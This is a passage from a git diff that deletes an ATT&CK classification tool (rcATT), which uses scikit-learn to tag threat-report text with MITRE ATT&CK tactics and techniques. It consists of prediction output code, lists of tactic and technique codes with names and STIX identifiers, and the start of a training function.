to_print_tactics.append([0, clt.NAME_TACTICS[ta], predprob_tactics[0][ta]]) - for te in range(len(pred_techniques[0])): - if pred_techniques[0][te] == 1: - ttps.append(clt.CODE_TECHNIQUES[te]) - to_print_techniques.append([1, clt.NAME_TECHNIQUES[te], predprob_techniques[0][te]]) - else: - to_print_techniques.append([0, clt.NAME_TECHNIQUES[te], predprob_techniques[0][te]]) - to_print_tactics = sorted(to_print_tactics, key = itemgetter(2), reverse = True) - to_print_techniques = sorted(to_print_techniques, key = itemgetter(2), reverse = True) - print("Predictions for the given report are : ") - print("Tactics :") - for tpta in to_print_tactics: - if tpta[0] == 1: - print(Fore.YELLOW + '' + tpta[1] + " : " + str(tpta[2]) + "% confidence") - else: - print(Fore.CYAN + '' + tpta[1] + " : " + str(tpta[2]) + "% confidence") - print(Style.RESET_ALL) - print("Techniques :") - for tpte in to_print_techniques: - if tpte[0] == 1: - print(Fore.YELLOW + '' + tpte[1] + " : "+str(tpte[2])+"% confidence") - else: - print(Fore.CYAN + '' + tpte[1] + " : "+str(tpte[2])+"% confidence") - print(Style.RESET_ALL) - #if output_file != '': - # save_stix_file(report_to_predict, title, date, ttps, output_file) - # print("Results saved in " + output_file) - - return ttps - - - # Write your data inside this function - def predict_file_content(self, file_id): - file_data = self.get_file(file_id) - - prediction = self.get_prediction(file_data["data"]) - return prediction - - # Write your data inside this function - def predict(self, data): - prediction = self.get_prediction(data) - return prediction - -if __name__ == "__main__": - rcATT.run() diff --git a/unsupported/attack-predictor/1.0.0/src/classification_tools/__init__.py b/unsupported/attack-predictor/1.0.0/src/classification_tools/__init__.py deleted file mode 100644 index deaf5fe3..00000000 --- a/unsupported/attack-predictor/1.0.0/src/classification_tools/__init__.py +++ /dev/null @@ -1,140 +0,0 @@ -########################################################## -# BASIC CLASSIFICATION FUNCTIONS # -########################################################## -# rcATT is a tool to prediction tactics and techniques -# from the ATT&CK framework, using multilabel text -# classification and post processing. -# Version: 1.00 -# Author: Valentine Legoy -# Date: 2019_10_22 -# Important global constants and functions for -# classifications: training and prediction. - -import joblib -import pandas as pd - -from sklearn.svm import LinearSVC -from sklearn.multiclass import OneVsRestClassifier -from sklearn.pipeline import Pipeline -from sklearn.feature_extraction.text import TfidfVectorizer -from sklearn.feature_selection import chi2, SelectPercentile - -from nltk.corpus import stopwords - -import classification_tools.preprocessing as prp -import classification_tools.postprocessing as pop - -########################################################## -# LABELS AND DATAFRAME LISTS AND RELATIONSHIP # -########################################################## - -TEXT_FEATURES = ["processed"] -CODE_TACTICS = ["TA0006","TA0002","TA0040","TA0003","TA0004","TA0008","TA0005","TA0010","TA0007","TA0009","TA0011","TA0001"] -NAME_TACTICS = ["Credential Access","Execution","Impact","Persistence","Privilege Escalation","Lateral Movement","Defense Evasion","Exfiltration","Discovery","Collection","Command and Control","Initial Access"] -CODE_TECHNIQUES = ["T1066","T1047","T1156","T1113","T1067","T1037","T1033","T1003","T1129","T1492","T1044","T1171","T1014","T1501","T1123","T1133","T1109","T1099","T1069","T1114","T1163","T1025","T1116","T1093","T1178","T1013","T1192","T1489","T1206","T1063","T1080","T1167","T1165","T1137","T1089","T1487","T1214","T1119","T1115","T1103","T1007","T1040","T1135","T1120","T1082","T1071","T1053","T1162","T1176","T1106","T1058","T1202","T1024","T1091","T1005","T1140","T1195","T1190","T1219","T1079","T1036","T1055","T1205","T1218","T1038","T1050","T1010","T1032","T1062","T1182","T1029","T1004","T1009","T1076","T1131","T1181","T1483","T1185","T1021","T1207","T1107","T1145","T1112","T1491","T1155","T1217","T1183","T1085","T1031","T1092","T1222","T1179","T1019","T1042","T1117","T1054","T1108","T1193","T1215","T1101","T1177","T1125","T1144","T1045","T1016","T1198","T1087","T1090","T1059","T1482","T1175","T1020","T1070","T1083","T1138","T1191","T1188","T1074","T1049","T1064","T1051","T1497","T1102","T1104","T1480","T1204","T1196","T1057","T1141","T1041","T1060","T1023","T1026","T1122","T1015","T1212","T1210","T1142","T1199","T1098","T1170","T1048","T1097","T1110","T1001","T1039","T1078","T1073","T1068","T1208","T1027","T1201","T1187","T1486","T1488","T1174","T1002","T1081","T1128","T1056","T1203","T1168","T1100","T1186","T1184","T1095","T1075","T1012","T1030","T1028","T1034","T1499","T1065","T1197","T1088","T1493","T1132","T1500","T1223","T1213","T1194","T1200","T1485","T1130","T1022","T1189","T1498","T1158","T1221","T1134","T1209","T1111","T1159","T1136","T1018","T1046","T1052","T1105","T1084","T1160","T1484","T1220","T1173","T1008","T1096","T1124","T1035","T1086","T1490","T1216","T1094","T1043","T1211","T1127","T1077"] -NAME_TECHNIQUES = ["Indicator Removal from Tools","Windows Management Instrumentation",".bash_profile and .bashrc","Screen Capture","Bootkit","Logon Scripts","System Owner/User Discovery","Credential Dumping","Execution through Module Load","Stored Data Manipulation","File System Permissions Weakness","LLMNR/NBT-NS Poisoning and Relay","Rootkit","Systemd Service","Audio Capture","External Remote Services","Component Firmware","Timestomp","Permission Groups Discovery","Email Collection","Rc.common","Data from Removable Media","Code Signing","Process Hollowing","SID-History Injection","Port Monitors","Spearphishing Link","Service Stop","Sudo Caching","Security Software Discovery","Taint Shared Content","Securityd Memory","Startup Items","Office Application Startup","Disabling Security Tools","Disk Structure Wipe","Credentials in Registry","Automated Collection","Clipboard Data","AppInit DLLs","System Service Discovery","Network Sniffing","Network Share Discovery","Peripheral Device Discovery","System Information Discovery","Standard Application Layer Protocol","Scheduled Task","Login Item","Browser Extensions","Execution through API","Service Registry Permissions Weakness","Indirect Command Execution","Custom Cryptographic Protocol","Replication Through Removable Media","Data from Local System","Deobfuscate/Decode Files or Information","Supply Chain Compromise","Exploit Public-Facing Application","Remote Access Tools","Multilayer Encryption","Masquerading","Process Injection","Port Knocking","Signed Binary Proxy Execution","DLL Search Order Hijacking","New Service","Application Window Discovery","Standard Cryptographic Protocol","Hypervisor","AppCert DLLs","Scheduled Transfer","Winlogon Helper DLL","Binary Padding","Remote Desktop Protocol","Authentication Package","Extra Window Memory Injection","Domain Generation Algorithms","Man in the Browser","Remote Services","DCShadow","File Deletion","Private Keys","Modify Registry","Defacement","AppleScript","Browser Bookmark Discovery","Image File Execution Options Injection","Rundll32","Modify Existing Service","Communication Through Removable Media","File Permissions Modification","Hooking","System Firmware","Change Default File Association","Regsvr32","Indicator Blocking","Redundant Access","Spearphishing Attachment","Kernel Modules and Extensions","Security Support Provider","LSASS Driver","Video Capture","Gatekeeper Bypass","Software Packing","System Network Configuration Discovery","SIP and Trust Provider Hijacking","Account Discovery","Connection Proxy","Command-Line Interface","Domain Trust Discovery","Distributed Component Object Model","Automated Exfiltration","Indicator Removal on Host","File and Directory Discovery","Application Shimming","CMSTP","Multi-hop Proxy","Data Staged","System Network Connections Discovery","Scripting","Shared Webroot","Virtualization/Sandbox Evasion","Web Service","Multi-Stage Channels","Execution Guardrails","User Execution","Control Panel Items","Process Discovery","Input Prompt","Exfiltration Over Command and Control Channel","Registry Run Keys / Startup Folder","Shortcut Modification","Multiband Communication","Component Object Model Hijacking","Accessibility Features","Exploitation for Credential Access","Exploitation of Remote Services","Keychain","Trusted Relationship","Account Manipulation","Mshta","Exfiltration Over Alternative Protocol","Pass the Ticket","Brute Force","Data Obfuscation","Data from Network Shared Drive","Valid Accounts","DLL Side-Loading","Exploitation for Privilege Escalation","Kerberoasting","Obfuscated Files or Information","Password Policy Discovery","Forced Authentication","Data Encrypted for Impact","Disk Content Wipe","Password Filter DLL","Data Compressed","Credentials in Files","Netsh Helper DLL","Input Capture","Exploitation for Client Execution","Local Job Scheduling","Web Shell","Process Doppelgänging","SSH Hijacking","Standard Non-Application Layer Protocol","Pass the Hash","Query Registry","Data Transfer Size Limits","Windows Remote Management","Path Interception","Endpoint Denial of Service","Uncommonly Used Port","BITS Jobs","Bypass User Account Control","Transmitted Data Manipulation","Data Encoding","Compile After Delivery","Compiled HTML File","Data from Information Repositories","Spearphishing via Service","Hardware Additions","Data Destruction","Install Root Certificate","Data Encrypted","Drive-by Compromise","Network Denial of Service","Hidden Files and Directories","Template Injection","Access Token Manipulation","Time Providers","Two-Factor Authentication Interception","Launch Agent","Create Account","Remote System Discovery","Network Service Scanning","Exfiltration Over Physical Medium","Remote File Copy","Windows Management Instrumentation Event Subscription","Launch Daemon","Group Policy Modification","XSL Script Processing","Dynamic Data Exchange","Fallback Channels","NTFS File Attributes","System Time Discovery","Service Execution","PowerShell","Inhibit System Recovery","Signed Script Proxy Execution","Custom Command and Control Protocol","Commonly Used Port","Exploitation for Defense Evasion","Trusted Developer Utilities","Windows Admin Shares"] -ALL_TTPS = ["TA0006","TA0002","TA0040","TA0003","TA0004","TA0008","TA0005","TA0010","TA0007","TA0009","TA0011","TA0001","T1066","T1047","T1156","T1113","T1067","T1037","T1033","T1003","T1129","T1492","T1044","T1171","T1014","T1501","T1123","T1133","T1109","T1099","T1069","T1114","T1163","T1025","T1116","T1093","T1178","T1013","T1192","T1489","T1206","T1063","T1080","T1167","T1165","T1137","T1089","T1487","T1214","T1119","T1115","T1103","T1007","T1040","T1135","T1120","T1082","T1071","T1053","T1162","T1176","T1106","T1058","T1202","T1024","T1091","T1005","T1140","T1195","T1190","T1219","T1079","T1036","T1055","T1205","T1218","T1038","T1050","T1010","T1032","T1062","T1182","T1029","T1004","T1009","T1076","T1131","T1181","T1483","T1185","T1021","T1207","T1107","T1145","T1112","T1491","T1155","T1217","T1183","T1085","T1031","T1092","T1222","T1179","T1019","T1042","T1117","T1054","T1108","T1193","T1215","T1101","T1177","T1125","T1144","T1045","T1016","T1198","T1087","T1090","T1059","T1482","T1175","T1020","T1070","T1083","T1138","T1191","T1188","T1074","T1049","T1064","T1051","T1497","T1102","T1104","T1480","T1204","T1196","T1057","T1141","T1041","T1060","T1023","T1026","T1122","T1015","T1212","T1210","T1142","T1199","T1098","T1170","T1048","T1097","T1110","T1001","T1039","T1078","T1073","T1068","T1208","T1027","T1201","T1187","T1486","T1488","T1174","T1002","T1081","T1128","T1056","T1203","T1168","T1100","T1186","T1184","T1095","T1075","T1012","T1030","T1028","T1034","T1499","T1065","T1197","T1088","T1493","T1132","T1500","T1223","T1213","T1194","T1200","T1485","T1130","T1022","T1189","T1498","T1158","T1221","T1134","T1209","T1111","T1159","T1136","T1018","T1046","T1052","T1105","T1084","T1160","T1484","T1220","T1173","T1008","T1096","T1124","T1035","T1086","T1490","T1216","T1094","T1043","T1211","T1127","T1077"] -STIX_IDENTIFIERS = ["x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263","x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5","x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8","x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92","x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd","x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e","x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a","x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462","x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9","x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe","x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813","x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca","attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6","attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8","attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d","attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92","attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a","attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0","attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e","attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44","attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a","attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f","attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d","attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21","attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d","attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125","attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba","attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e","attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7","attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b","attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f","attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044","attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e","attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286","attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41","attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9","attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427","attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d","attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e","attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","attack-pattern--46944654-fcc1-4f63-9dad-628102376586","attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790","attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5","attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63","attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025","attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79","attack-pattern--519630c5-f03f-4882-825c-3af924935817","attack-pattern--51dea151-0898-4a45-967c-3ebee0420484","attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d","attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0","attack-pattern--54456690-84de-4538-9101-643e26437e09","attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59","attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe","attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b","attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","attack-pattern--62166220-e498-410f-a90a-19d4339d4e99","attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5","attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b","attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef","attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5","attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3","attack-pattern--68c96494-1a50-403e-8844-69a6af278c68","attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a","attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df","attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a","attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38","attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5","attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446","attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352","attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e","attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88","attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31","attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7","attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566","attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3","attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c","attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44","attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db","attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e","attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b","attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc","attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810","attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091","attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69","attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3","attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d","attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec","attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c","attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09","attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0","attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7","attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c","attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4","attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c","attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2","attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8","attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df","attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76","attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb","attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff","attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39","attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02","attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0","attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be","attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8","attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925","attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a","attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847","attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1","attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638","attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93","attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87","attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","attack-pattern--dd901512-6e37-4155-943b-453e3777b125","attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4","attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4","attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0","attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d","attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392","attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0","attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","attack-pattern--ffe742ed-9100-4686-9e00-c331da544787"] - -TACTICS_TECHNIQUES_RELATIONSHIP_DF = pd.DataFrame({"TA0001":pd.Series(["T1133","T1192","T1091","T1195","T1190","T1193","T1199","T1078","T1194","T1200","T1189"]), - "TA0002":pd.Series(["T1047","T1129","T1121","T1053","T1106","T1218","T1153","T1152","T1155","T1085","T1117","T1177","T1059","T1191","T1064","T1204","T1196","T1072","T1170","T1061","T1154","T1203","T1168","T1028","T1223","T1151","T1220","T1173","T1035","T1086","T1216","T1118","T1127"]), - "TA0003":pd.Series(["T1156","T1067","T1037","T1161","T1150","T1044","T1501","T1133","T1109","T1163","T1013","T1180","T1165","T1137","T1103","T1053","T1162","T1176","T1058","T1205","T1038","T1050","T1062","T1182","T1004","T1131","T1152","T1183","T1031","T1179","T1019","T1042","T1164","T1108","T1215","T1101","T1177","T1198","T1138","T1060","T1023","T1122","T1015","T1098","T1157","T1078","T1154","T1128","T1168","T1166","T1100","T1034","T1197","T1158","T1209","T1159","T1136","T1084","T1160"]), - "TA0004":pd.Series(["T1150","T1044","T1178","T1013","T1206","T1165","T1103","T1053","T1058","T1055","T1038","T1050","T1182","T1181","T1183","T1179","T1138","T1015","T1169","T1157","T1078","T1068","T1166","T1100","T1034","T1088","T1134","T1160"]), - "TA0005":pd.Series(["T1066","T1143","T1150","T1148","T1006","T1014","T1109","T1099","T1116","T1093","T1121","T1089","T1202","T1140","T1036","T1055","T1205","T1218","T1038","T1009","T1181","T1152","T1207","T1107","T1112","T1183","T1085","T1222","T1117","T1054","T1108","T1144","T1045","T1198","T1070","T1191","T1064","T1497","T1102","T1480","T1196","T1122","T1149","T1170","T1078","T1073","T1027","T1186","T1197","T1088","T1147","T1500","T1223","T1146","T1130","T1158","T1221","T1134","T1151","T1126","T1484","T1220","T1096","T1216","T1118","T1211","T1127"]), - "TA0006":pd.Series(["T1003","T1171","T1167","T1214","T1040","T1139","T1145","T1179","T1141","T1212","T1142","T1098","T1110","T1208","T1187","T1174","T1081","T1056","T1111"]), - "TA0007":pd.Series(["T1033","T1069","T1063","T1007","T1040","T1135","T1120","T1082","T1010","T1217","T1016","T1087","T1482","T1083","T1049","T1497","T1057","T1201","T1012","T1018","T1046","T1124"]), - "TA0008":pd.Series(["T1037","T1080","T1017","T1091","T1076","T1021","T1155","T1175","T1051","T1072","T1210","T1097","T1184","T1075","T1028","T1105","T1077"]), - "TA0009":pd.Series(["T1113","T1123","T1114","T1025","T1119","T1115","T1005","T1185","T1125","T1074","T1039","T1056","T1213"]), - "TA0010":pd.Series(["T1029","T1011","T1020","T1041","T1048","T1002","T1030","T1022","T1052"]), - "TA0011":pd.Series(["T1172","T1071","T1024","T1219","T1079","T1205","T1032","T1483","T1092","T1090","T1188","T1102","T1104","T1026","T1001","T1095","T1065","T1132","T1105","T1008","T1094","T1043"]), - "TA0040":pd.Series(["T1492","T1489","T1487","T1491","T1486","T1488","T1499","T1494","T1493","T1496","T1485","T1498","T1495","T1490"]) - }) - -########################################################## -# RETRAIN AND PREDICT FUNCTIONS # -########################################################## - -def train(cmd): - """ - Train again rcATT with a new dataset - """ - - # stopwords with additional words found during the development - stop_words = stopwords.words('english') - new_stop_words = ["'ll", "'re", "'ve", 'ha', 'wa',"'d", "'s", 'abov', 'ani', 'becaus', 'befor', 'could', 'doe', 'dure', 'might', 'must', "n't", 'need', 'onc', 'onli', 'ourselv', 'sha', 'themselv', 'veri', 'whi', 'wo', 'would', 'yourselv'] - stop_words.extend(new_stop_words) - - # load all possible data - train_data_df = pd.read_csv('classification_tools/data/training_data_original.csv', encoding = "ISO-8859-1") - train_data_added = pd.read_csv('classification_tools/data/training_data_added.csv', encoding = "ISO-8859-1") - train_data_df.append(train_data_added, ignore_index = True) - - train_data_df = prp.processing(train_data_df) - - reports = train_data_df[TEXT_FEATURES] - tactics = train_data_df[CODE_TACTICS] - techniques = train_data_df[CODE_TECHNIQUES] - - if cmd: - pop.print_progress_bar(0) - - # Define a pipeline combining a text feature extractor with multi label classifier for tactics prediction 